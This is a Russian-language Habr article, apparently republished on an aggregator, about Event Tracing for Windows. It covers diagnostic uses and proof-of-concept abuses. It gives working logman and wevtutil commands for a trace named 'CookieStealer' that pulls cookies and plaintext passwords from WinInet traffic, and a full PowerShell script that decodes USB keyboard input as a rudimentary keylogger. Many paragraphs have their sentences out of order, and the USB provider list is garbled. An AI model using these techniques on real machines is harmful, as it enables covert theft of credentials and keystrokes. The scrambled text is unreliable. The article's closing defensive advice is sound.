Главная » Хабрахабр » Event Tracing for Windows на стороне зла. Но это не точно

Event Tracing for Windows на стороне зла. Но это не точно

Сегодня я хочу подробнее рассказать про эту технологию. В предыдущих статьях про сниффер на PowerShell и сбор данных о загрузке с удаленного сервера я уже немного писал про возможности ETW (Event Tracing for Windows).

Или не совсем во благо. Заодно покажу на примере разбора HTTPS и создания кейлоггера на PowerShell, как ее можно использовать во благо.

Появился он еще во времена Windows 2000, но если в те времена системных провайдеров было несколько десятков, то сейчас их счет идет уже на сотни. Event Tracing for Windows собирает и передает сообщения от системных компонентов Windows и сторонних приложений. Сообщения удобно использовать для диагностики ошибок и решения проблем с производительностью софта.

Так что даже если вы не знаете про ETW, наверняка им пользуетесь. Часть системных провайдеров по умолчанию уже пишет в журнал событий Windows, а часть включается отдельно. Немного о журнале и о работе с ним можно почитать в статье «Вертим логи как хотим ― анализ журналов в системах Windows». Познакомиться с журналами и включить часть из них при необходимости можно в стандартном просмотре событий в журналах приложений и служб.

Посмотреть список существующих провайдеров, которые только и рады поведать нам, что с ними происходит, можно командой logman query providers.

Провайдеры ETW.

Посмотреть список провайдеров, которые подключены к определенному процессу Windows (а значит, и узнать что-то про него), можно при помощи команды logman query providers -pid <PID процесса>.

Список провайдеров, подключенных к обычному блокноту.

А можно и вовсе накликать мышкой по пути «Управление компьютером» — «Производительность» — «Группы сборщиков данных». Подписку на события определенного провайдера или на трассировку можно включить через PowerShell при помощи командлета New-NetEventSession. Здесь в сеансах отслеживания событий видно, какие трассировки запущены, и при желании можно создать свой сборщик.

Запущенные трассировки.

Просматривать результат можно при помощи утилит и наборов утилит типа Microsoft Message Analyzer, Windows Performance Toolkit или вовсе командлетом PowerShell Get-WinEvent.

Также могу порекомендовать неплохой материал «Изучаем ETW и извлекаем профиты». С особенностями работы ETW я рекомендую ознакомиться в документации Microsoft, начать можно с раздела About Event Tracing.

Обычно ETW используют для диагностики производительности и проблем с приложениями. Поскольку ETW работает на уровне ядра, то его отличает скорость передачи сообщений и отсутствие необходимости устанавливать какие-либо драйверы или инжекты в приложения. Приведу пример — анализ запуска командлетов PowerShell. Например, в статье «Ускорение загрузки Windows for fun and profit» анализируются факторы, влияющие на замедление загрузки, а в материале 24-core CPU and I can’t move my mouse — причины торможения Windows на рядовых операциях.

Одной из методик будет использование ETW для анализа их активности. Предположим, что вы каким-то образом (например, через аудит запуска процессов) обнаружили, что на компьютере запускаются невнятные процессы и скрипты PowerShell. Включим трассировку командой: Например, посмотрим на провайдера PowerShell.

logman start pstrace -p Microsoft-Windows-PowerShell -o c:\temp\pstrace.etl -ets

Теперь подождем, пока непонятные скрипты отработают, остановим трассировку командой:

logman stop pstrace -ets

Теперь можно посмотреть трассировку, например, через Microsoft Message Analyzer.

Подозрительный clean.ps1 явно что-то ищет и удаляет.

Если выбрать нужную строку, то в нижней панели будет расширенная информация о событии.

А, это же скрипт для очистки кэша 1С!

Но в более сложных случаях можно запустить трассировку и для проверки других активностей: В этот раз все оказалось банально.

  • сетевая активность;
  • разрешение DNS;
  • обращение к диску;
  • работа с памятью;
  • активность WMI;
  • и многое другое.

Местами это информативнее, чем привычный Process Monitor. Таким образом, ETW может помочь поймать зловреда и разобраться в работе приложений. Но помимо дел добрых, у механизма есть и «темная» сторона.

Моральную оценку механизмов делать я, конечно же, не буду, но в любом случае возможности открываются интересные. Разумеется, и молотком можно убить, и ружьем спасти.

Приведу пару примеров в качестве Proof-of-Concept

Посмотреть можно и без PowerShell — только мышка, только хардкор. В этом примере я покажу, как легко узнать, что же ищет пользователь в интернете, даже по HTTPS. В нашей задаче будет пользователь, будет Windows, Internet Explorer и журнал событий.

Делается это так: открываем журнал событий, на вкладке «Вид» включаем отображение аналитических и отладочных журналов. Начнем с того, что включим журнал событий Wininet.

Добавляем отображение нужных журналов.

Попользуемся IE и посмотрим лог: После этого включаем UsageLog в контекстном меню, и этого достаточно для получения нужной информации.

Журнал WinInet.

Собственно, в журнале видны заголовки и непосредственный запрос в поисковую систему.

Методика работает на любых приложениях, использующих wininet.dll для работы с интернетом. Помимо заголовков при помощи журнала можно вытащить и cookie, а заодно посмотреть POST-запросы — например, для вытаскивания учетных данных. К примеру, браузер Edge.

Приведу пример реализации последним. То же самое запросто реализуется и на PowerShell, и даже на cmd.

Для начала создадим трассировку:

logman start CookieStealer -p Microsoft-Windows-WinInet -o c:\temp\cookiesteal.etl -ets

Трассировку можно после этого остановить командой: Теперь поработаем в браузере, проверим почту.

logman stop CookieStealer -ets

Например, для просмотра POST-запросов команда будет такой: Простейший анализ можно провести при помощи командной утилиты wevtutil.exe.

wevtutil qe c:\temp\cookiesteal.etl /lf:true /f:Text | find /i "POST"

Можно даже наудачу попробовать поискать по слову password и получить результат.

Очень напрягает. Пароли открытым текстом.

Действительно, ведь это обычный процесс трассировки. Стоит отметить, что антивирус при этом молчал.

Но тем не менее, возможности довольно интересны. Разумеется, события WinInet можно использовать и для диагностики неполадок вроде «почему этот сайт не открывается и что вообще происходит». Перейду к еще более закрученному примеру.

В Windows есть два интересных провайдера ETW:

  • 0. Microsoft-Windows-USB-UCX (36DA592D-E43A-4E28-AF6F-4BC57C5A11E8) — работает с USB 2.

  • 0. Microsoft-Windows-USB-USBPORT (C88A4EF5-D048-4013-9408-E04B7DB2814A) — работает с USB 3.

Данные захватываются в сыром виде, но благодаря спецификации HID их вполне можно привести к читаемому виду. С их помощью можно получить данные HID, которые передает такое устройство USB, как клавиатура или мышь.

Для начала трассировки достаточно выполнить следующие команды:

logman start "usbtrace" -p "microsoft-windows-usb-usbport" -o "c:\temp\usbtrace.etl" -ets

А данные можно получить командлетом PowerShell:

$Input=get-winevent –path "c:\temp\usbtrace.etl" –oldest | where

Преобразование делается только для английских букв и исключительно в заглавные. Приведу пример простого скрипта, который читает данные трассировки и преображает их в читаемые значения.

Полный листинг скрипта под спойлером.

$source = "C:\temp\trace.etl"
$destination= "C:\temp\Output.txt"
$tracetime = "10"
logman start usbtrace -p microsoft-windows-usb-usbport -o $source -ets
sleep $TraceTime
logman stop usbtrace -ets
$Input=get-winevent –path $Source –oldest | where {$_.message –match "Data"}
$HID = Foreach ($I in $Input) {(‘{0:x}’ -f ($I.properties.value[5]))}
$Data=switch ($HID)
{ 4 {"A"} 5 {"B"} 6 {"C"} 7 {"D"} 8 {"E"} 9 {"F"} A {"G"} B {"H"} C {"I"} D {"J"} E {"K"} F {"L"} 10 {"M"} 11 {"N"} 12 {"O"} 13 {"P"} 14 {"Q"} 15 {"R"} 16 {"S"} 17 {"T"} 18 {"U"} 19 {"V"} 1A {"W"} 1B {"X"} 1C {"Y"} 1D {"Z"}
} $Data | out-file "$Destination"
get-content "$Destination"
del "$source"
del "$Destination"

При запуске скрипт включает трассировку на 10 секунд, затем показывает результат.

Результат работы скрипта.

Стоит отметить и ограничения этого механизма: Конечно же, разобравшись с данными HID, можно доработать скрипт до полноценного кейлоггера, который записывал бы данные с клавиатуры и мыши.

  • работает только с USB, а PS\2 (как порой встречается в ноутбуках) не поддерживается;
  • поддержка USB 3.0 заявлена только в Windows 8 и выше;
  • требуются права администратора (UAC).

Ну, и конечно, помимо зловредного использования такой кейлоггер может помочь в диагностике проблем с клавиатурой. Зато никаких драйверов и перехватчиков. Теоретически.

Методы защиты остаются те же самые: блокировать исполняемые файлы не из системных каталогов, не работать под пользователем с правами администратора, а если и работать — то хотя бы не отключать UAC. Даже встроенные механизмы в руках злодея могут натворить бед. И, конечно же, встроенные браузеры Windows по части безопасности вызывают вопросы.


Оставить комментарий

Ваш email нигде не будет показан
Обязательные для заполнения поля помечены *

*

x

Ещё Hi-Tech Интересное!

[recovery mode] Полезный обзор. 28 книг, которые повлияли на мое мышление, вдохновили или сделали лучше

Во-первых, чаще всего они представляют собой список книг, отобранных неведомым автором по неведомым критериям. Я не люблю читать книжные рейтинги по двум причинам. Во-вторых, описания книг больше напоминают рекламные тексты издательств, которым сложно верить. Мне давно хотелось написать полезный обзор, ...

[Перевод] Так что же такое pod в Kubernetes?

Прим. перев.: Эта статья продолжает цикл материалов от технического писателя из Google, работающего над документацией для Kubernetes (Andrew Chen), и директора по software engineering из SAP (Dominik Tornow). Их цель — доступно и наглядно объяснить основы организации Kubernetes. В прошлый ...